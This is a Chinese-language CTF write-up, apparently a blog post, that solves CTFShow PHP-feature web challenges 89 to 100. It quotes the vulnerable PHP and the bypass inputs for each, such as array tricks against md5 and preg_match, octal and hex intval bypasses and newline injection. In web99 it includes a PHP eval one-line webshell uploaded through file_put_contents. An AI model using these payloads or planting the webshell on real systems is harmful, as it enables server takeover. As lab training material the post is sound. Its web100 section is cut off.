CTFShow PHP特性

##开始PHP特性

web89

if(isset($_GET['num'])){
   
   
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
   
   
        die("no no no!");
    }
    if(intval($num)){
   
   
        echo $flag;
preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
可以通过数组的方式通过
num[]=1

web90

if($num==="4476"){
   
   
        die("no no no!");
    }
    if(intval($num,0)===4476){
   
   
        echo $flag;
intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
num=010574	8进制
num=0x117c	16进制

web91

if(preg_match('/^php$/im', $a)){
   
   
    if(preg_match('/^php$/i', $a)){
   
   
        echo 'hacker';
    }
    else{
   
   
        echo $flag;
意思大概是先要多行匹配有没有php开头和结尾的
然后单行匹配不能是php开头结尾的

在这里插入图片描述

可以用 %0a 截断,意思其实就是换行
cmd=abc%0aphp

web92~93

同  web90

web94~95

if(preg_match("/[a-z]/i", $num)){
   
   
        die("no no no!");
    }
    if(!strpos($num, "0")){
   
   
        die("no no no!");
strpos查找字符串中第一次出现的位置:
strpos() 函数对大小写敏感。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
strpos函数限制了传参第一位不能为0,如果为0,就die
但如果没有找到又会die
根据弱类型,可以用空格隔开,或者小数
num= 010574
num=4476.0
num=+010574

web96

if($_GET['u']=='flag.php'){
   
   
        die("no no no");
    }else{
   
   
        highlight_file($_GET['u']);
不能直接查看flag.php
可以构造路径查看
u=/var/www/html/flag.php
u=./flag.php

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
   
   
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
简单地方法就是直接数组让MD5报错,这样就相等了
a[]=1&b[]=2
还有就是MD5强碰撞
[MD5强碰撞](https://www.cnblogs.com/kuaile1314/p/11968108.html)

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__)
三元运算:条件表达式?表达式1:表达式2
第一个说只要有GET传参就指向POST,所以随便传个啥都行
GET 1=flag
POST HTTP_FLAG=flag

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   
    
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   
   
    file_put_contents($_GET['n'], $_POST['content']);
}
首先是随机数填充数组,但是可以猜测一定有数字1 
in_array() 搜索数组中是否有指定的字符串
因为没有设置第三个参数,所以1.php会被构造成1
file_put_contents($_GET['n'], $_POST['content']);
如果存在就将POST传入的数据写入到GET中,因此可以考虑写入一句话马
GET:n=1.php 
POST:content=<?php  @eval($_POST['360']);?>

web100

//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   
   
    if(!preg_match("/\;/", $v2)){
   
   
        if(preg_match("/\;/", $v3)){
   
   
            eval("$v2('ctfshow')$v3");
首先知道 = 的优先级是高于
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值